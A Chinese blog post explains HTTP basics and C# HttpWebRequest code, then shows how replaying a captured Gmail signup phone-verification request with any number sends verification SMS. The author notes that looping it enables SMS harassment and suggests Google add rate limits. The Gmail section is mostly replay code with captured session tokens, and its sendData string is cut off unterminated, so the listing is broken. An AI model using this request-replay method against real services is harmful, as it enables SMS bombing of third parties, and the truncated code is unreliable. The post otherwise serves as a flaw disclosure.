从Gmail的一个瑕疵谈HTTPRequst

1.WEB访问到底怎么回事

   通常我们开发的asp.net应用程序无非就是把我们CLient端的Data/Request通过Net，借助HTTP协议Post或者Get到Server端。然后CLient的借助Explorer展示Server回发的Response数据。这个我们通过ieHttpHeaders工具“窥豹”一番。以Gmail的登陆界面为例：

注意ieHTTPHeaders的监控数据，黑色部分为Request的Post数据，蓝色部分为Server的Response的部分数据。这个网络的访问规程遵循什么规则那?

2.说说HTTP协议

    如果你从事WEB开发开发，最好了解下HTTP协议，对你开发健壮，安全的程序大有裨益。HTTP的全称是HyperText Transfer Protocol，即超文本传输协议超文本传输协议。作为一种应用层协议，HTTP在可靠的网络层协议（例如TCP/IP）的基础上提供了在Web服务器和客户之间传输信息的一种机制，并规定了客户与服务器之间交互的各种消息。下图可以形象说明他：

对于HTTP请求：

方法(method):表示客户端希望服务器如何处理该信封。有GET、POST、PUT、DELETE、HEAD、OPTION、TRACE和CONNECT八个方法。
路径(path):请求链接里主机名后面部分，即信封上的地址。
请求报头(request headers):一组起元数据作用的键值对，类似信封上贴的标签信息。HTTP除定义了一套标准报头外，程序也可以自己定义报头。
实体主体(entity-body):也称作文档或表示，即信封里的文档。一般情况下，请求实体主体可为空。

对于HTTP相应：

响应代码(response code):通知客户端请求成功或失败，以及如何处理信封里的内容。

响应报头(response header):类似请求报头。

实体主体(entity-body):同样是放在信封里的文档，但绝大多数情况它不会为空。

理解了以上部分，我们就如何进行HTTP的Request?

3.C#模拟HTTP的Requst

 System.Web 命名空间提供使得可以进行浏览器与服务器通信的类和接口。此命名空间包括 HttpRequest 类（用于提供有关当前 HTTP 请求的广泛信息）、HttpResponse 类（用于管理对客户端的 HTTP 输出）以及 HttpServerUtility 类（用于提供对服务器端实用工具与进程的访问）。

首先我们来Code模拟Requset并获得Response的类：

 1   public string SendRequest(string url, NameValueCollection parm, string sendData)
 2     {
 3         ASCIIEncoding encoding = new ASCIIEncoding();
 4         byte[] data = encoding.GetBytes(sendData);
 5         HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); 
 6         request.Method = "POST"; 
 7         request.ContentType = "application/x-www-form-urlencoded"; 
 8         request.ContentLength = data.Length;
 9 
10         request.Headers.Add(parm);
11         Stream sm = request.GetRequestStream(); 
12         sm.Write(data, 0, data.Length);
13         sm.Close();
14 
15         HttpWebResponse response = (HttpWebResponse)request.GetResponse();
16         StreamReader myreader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); 
17         string responseText = myreader.ReadToEnd(); 
18 
19         return responseText;
20     }
21 

 注意：参数url表示你请求的Server的，parm表示Request的Header的一些属性，SendData是用iehttpHeaders最后一行数据。

4.Gmail的一个瑕疵

 Gmail是很强大的，很多人都爱用。在注册Gmail时候的最后一步要求你填写手机进行Code验证，这个时候我们可以截取HTTP报数据,如下图：

好，接着我们模拟请求的代码如下：

 

static void Main(string[] args)
        {
            Console.WriteLine("Please input your Mobile No:");

            string mobileNo = Console.ReadLine();

            SimulateRequest s = new SimulateRequest();
            
            string url = "https://www.google.com/accounts/IdvChallenge?service=mail&continue=http%3A%2F%2Fmail.google.com%2Fmail%2Fe-11-117f7fb74c714e689c89d9067dc9f296-0be8e3542e11fd77bbb126be7d2c99a5fb5f34e9&type=2";
            string sendData = "MobileCountry=CN&MobileNumber="+mobileNo+"&idvToken=5cKRkSUBAAA.6CcHLTi-npLuqYaP8o2JIAwhDeco_kiaWKK_XQfRT_vSvvZFAHSKA13mQK-evK5CqzCRe9YvTHQHK4WuBBYyYQ.fSDlZa7qCyKcl5OtFcEcfg&sft=B9CQkSUBAAA.FloI_oy5zQi7SuEbWoI7rMOQZkngOpCmONWHXaq4HyMbDCNVoh-5PT1BVTqtUVSRUohZ3z9mZgd3WdDsKhXaR0B6aWzJ0l9FsTpuFRNWMbDJHx6uEQpiJ4o1Bt2zRkK8v7UlbOG-oHr_lW8CfK7DCYk_qV7J7_rxfHlNhFuicz3kPAPn0VeyMnJFEKCAsXOlYdndYKGcnyfCg-lOYV0SbfLchEdlHzTLS2r71R9imUEHBaQOHF-oLTIrEkF62GMIuMrpjWG36olQcmJL-spE00RBQoEOegHEeeNE3XCs5URSRvxEzwozsgNlB4hmWhIRK4T7KLeWH6A2L5K6P6caADbLV4i0FlRtEKt270AAqYNNRVV9Vc39lQVKOfA_vKzch2yEUl0Y3GfwPdOjYRu_DhL3rheEe56tX80jE1SVnUwEJ5rZzkWnMskEPlusKoVetzmTL9lLTFt84svYHhS9NTZjwv0Z0LL4j9DqgY8v8P9WgvszRUgyVW7vOpM0h9rxdf4kOHMb-hk-OzYjI5j9-IaCpeRpShxBM9fNGHtkpfUc3DotyuM6XAbxo5U_plYiGTjtuvy3mvrzD2bO7Wh23CDiQdEo1DI_aEOvD9548G-F0KWPsV193Qnfxw5dWCM3wG_OnpsnZaWzX_9CDg12z-_hwDgpFxXCOYrouOQVMG1rmrKNQtiHudg6-no3xQADdIeCpQMMaNF0KsbJS8ieiXka6q2SWsv0Ki2AD6jXRxy4AegKCGa7gy3_X3hXR8-15jpxB3Qck8SwK8izoIJujwK8rdIUn9KTBuUpQbYOONWzPrQekQMRySZSDv_gzLO_YzJHsV9whs2v2WygietmKXhsmNfM2U0cZ0hkzi7Q88PIw6Y6WcENmmse6cg_9RK-UtnZA2IDLmERCaZRAXz8rCdMr4SpRz-ZTfwWse5z9hf9WK8Z55lSvlAEEK1sUZ7f9TGSx0kUKeDPPiLMZmtawCo0xVIljfDuYeLO36c5Q9EJb-X4BipTUXP9Dan6CsuAiy2ZZBkux6kMxZCPNoV0YOBc0afGDWxOvEpzqO6bpPKcb2fma7kPUw9rqE6Cry28qej8Z6loYNKauwn0gP6rSwjh5bbdK7iq6GTHe6gDNNR_d9gof_3ZGJuspPlRAf0xK3jaFa65dkHGumv7qZPLMfs0T19kIMvBbDsOG7xxRbBNMmhkJ6PFdE08zH_g3QSzM8pSQ4kur5pS98sIL5OBPMHGN33cO3EGx9a3rLwuHqx9WaCDzssqI0QsGDtWipluRCPtXEMQQ4bRJk2HRkl9mQYB2fNZCg9Uk8YJZ6TtFBDPlfy8EsnnhOfWYBp8DzwaoxUQtu7OXqmxPlO8ueKM-fNCfkeGezdFQw4TJ__JoEjYHjg19AhICvcZ2B8Vak4e_mwIOiiD4hcVJNl1Ld-y3-1J5iMpt3JgizM4xNag_V-cCn3yHdPjNsH7m0StH7Ne_srKZk0TKTlD9H0ahH3RuWFlMeWhadOquXSCRlW3sZBXtJjQ7gmb7llFhYDnczogs1sh9RLCcYfyicc5dz3_HI0D4CAmnXyU20J0GHBOkH0pymKrmddZpLoWAEb1XqoRLhhzJ09zJWKdHO0eiH8ly-thWmUZeeKGp0c9SlJ3-HWvvsQ_rHeTQHUacemSBNRBSBdoJaGJsCbbKh2VRns6aWDv4japCAd45OAf4-qfn7dhunlQlRLyK5yDGaquh_8YUizs8rWQHxwQGMJUPz6frVFQSUifI8Vw8Qkwcpnvj0aXEYogENBg9Feso2olXDe5xEkLlzuFyOUi6Udj3VU5FN7jKPrKtM7AlHEH_vzncNTEbbDzpLLmJeY4eAXx1oLhrJEbJF0P18_vp2dHBuRe6K7zlLOpKobvyPU6OjX3vphaPb6L7Esi36GCZZwuWq9d2J6ctwXSX3ApYM14eMpozeDP6bIuDKMwfonQWOGLa51HXeDwLFJj2g53JIQxMINGWw6ge8o2uYPjuMuoVl14rYUHVZ3eLk2BWpp5PTFHS3KOqqtMYjXU8B69gA5hVnFOspTowI3pxoHEUoRijS2B_NTrUZdzmUR5j3qh__n0t9LTJ4iZ4Rb85TL4hUR3_6g1AtWupu74m8CUJ-7q_3iLFoe7bhimB5rbsOOgtUgCAewL0EgoyEvrl9XfvDQWsIFBYL-erKOACJ5Hyo-lZzSsghLVcH4jnnNBsOjBDlg0-N1fBPkvKdmmqigxvrhsMj5gEzxUWJ7bpqreGwAfnHras6Nb6PUlUe8nn5aYXNuTHS-6DaBMdVEkzQ60UUjnG3GjPMnQMYUvBqJuVcl35FgpCZhWP491D6PBQue0r-1Mk58pwQ48wj8gNoPyeQ7GutHGuIeYdOrG2IMMg_9CHi1A3GwgP6IVmw8UjeREobWR-8p9YMQOwparwHEXo6jFoiD2hIcsSvta382tvAaz9wzwqm_b7nS07syn99pn6UT-FVrPjOz8bjx-l5f-nRoQMz2qNfpr60TL1mOIMgabKANLBPVtPdNGxEAD88jDZAbya5i1i2ntoEaq6AO3r5LThj00pAa65ao2-wC6oAWxNYXcIM5QxBH1motxXzdzIUMgBZhzuC52nZCQgO0oArta3uZBWPbxS3VA98rBOpRQnW8HqVwjd4p03qVeMbIgcKvlf2tTmZeF0HRGtobinDcIQl-w2kdc6RvwA7hzPSxbUufcS2C3dHbrfE4uC-b5y7g8vhIfPwm9EdbRh5LYOicnUWcuYdD4kwGVCYFPhcWw1wd6jjKB_aQG0dU1TXqtiQmTz8qga9xF3wkVBzp2Qghf5dQ_EiMXIDsQVYXtEOb15j-Vob8hfXjYjGR9SGR3AC-oLtjcuwdH8U_ATDXn0M7WkVe1C622QZmHf62Juf7buNpT0ofySu3fRvbEC2Gt97mUx_pHzJrLKnW7fi8_cDl4VOHvfhZ-El_x69roy8nWMgqJe_oiyg4Qjy3qwqKv27Ku9VMIA1YNjElHeKUxlE5S10NICIMyUmaLXH0CJIF_-rkOZZMyai11jhvMtZyIP4Ofj3hLHZNtvZvHwpGGKdprz2P68SmplAK5tH6Fpyq1YL2BUe4jAx2Qd4BakAk4cD9LBXd2jd_QIyGwcj_aRPAzRsC6-S-uR6b9q3qlKcblGC3qrEScXpYIOq2_OkN_D5Ym4uZCaAdOmaMDczjoddqnj_dhEBfLt5YWWdHZbTDpJiDHkBB5_MY73GYx8bxN6dGhX1F-n8dP1xN-k29gKtPoPHbBjhWOlKWmBozBVZa8ajvSWXns_2PHQTWahx8lmGNBwWW2NQkB51OaOBoPWOPrBt-DZJrm5F22V1-RGkgPGz9BGSBt0xXaLHNR17jEI87csAivYVYDhBoVDu854V29xb2AdOgDTLMNevlRZVNEq0MF6i_aEZUyYG6sr9y48xJgggRLOFp-TcHaJWrypHo_Evp-xNWH14YnHVpy___QN2gZuA_q1ad3aGLeKh8HrNVVyHMlwkbKKAJfVIaJqyxqUm54sCQY6HosIbgTruty-Abm4dZSx5ZpdTzc_o-VPyxC9N6l4amftmOMXHgd4vszBKO7IyivfBd6OmRJ0bHvtMP5b5T2AsLtwx-tAH93y0rnRgMrSsLu-oKpfv-GQbjo4iPhyx_Wgv3p2BE3uRVWBbU-oiqVNsOkdQuBACP6Yz87mxksxI7X83hakJGsO0DhZmg6b8uZtPcumonfFur4Lfc09bh0KA1ETfHvRYMUiXXQu5Us7mjvw1D2W2VPR6f92UqoP3X9Yn-UNt8npAkhEtlZhcd67hPtAEBiYPH4AGTseEm0vX-OTmNggLCoL9UanwBJAeSOLxEo0nN2IOJkCxc6CQ.rE0rvLOa9Tw5C85Ws-sQ_w&idvContinueHandler=SIGNUP&idvContinueUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FCreateAccount%3Fservice%3Dmail%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252Fe-11-117f7fb74c714e689c89d9067dc9f296-0be8e3542e11fd77bbb126be7d2c99a5fb5f34e9%26type%3D2%26sft%3DB9CQkSUBAAA.FloI_oy5zQi7SuEbWoI7rMOQZkngOpCmONWHXaq4HyMbDCNVoh-5PT1BVTqtUVSRUohZ3z9mZgd3WdDsKhXaR0B6aWzJ0l9FsTpuFRNWMbDJHx6uEQpiJ4o1Bt2zRkK8v7UlbOG-oHr_lW8CfK7DCYk_qV7J7_rxfHlNhFuicz3kPAPn0VeyMnJFEKCAsXOlYdndYKGcnyfCg-lOYV0SbfLchEdlHzTLS2r71R9imUEHBaQOHF-oLTIrEkF62GMIuMrpjWG36olQcmJL-spE00RBQoEOegHEeeNE3XCs5URSRvxEzwozsgNlB4hmWhIRK4T7KLeWH6A2L5K6P6caADbLV4i0FlRtEKt270AAqYNNRVV9Vc39lQVKOfA_vKzch2yEUl0Y3GfwPdOjYRu_DhL3rheEe56tX80jE1SVnUwEJ5rZzkWnMskEPlusKoVetzmTL9lLTFt84svYHhS9NTZjwv0Z0LL4j9DqgY8v8P9WgvszRUgyVW7vOpM0h9rxdf4kOHMb-hk-OzYjI5j9-IaCpeRpShxBM9fNGHtkpfUc3DotyuM6XAbxo5U_plYiGTjtuvy3mvrzD2bO7Wh23CDiQdEo1DI_aEOvD9548G-F0KWPsV193Qnfxw5dWC

        }

 

注意SendData改成你自己监控到的。运行效果如下：

o(∩_∩)o...，你可以做个for循环了，别有用心的人就可以进行短信骚扰了。希望google加下验证码或者其他方式让一个手机号码最多发3次等。

由于Request后，根据不同的网络环境，获取Response的时间不同，阻塞了当前主线程，下文我用异步方式去实现模拟请求。
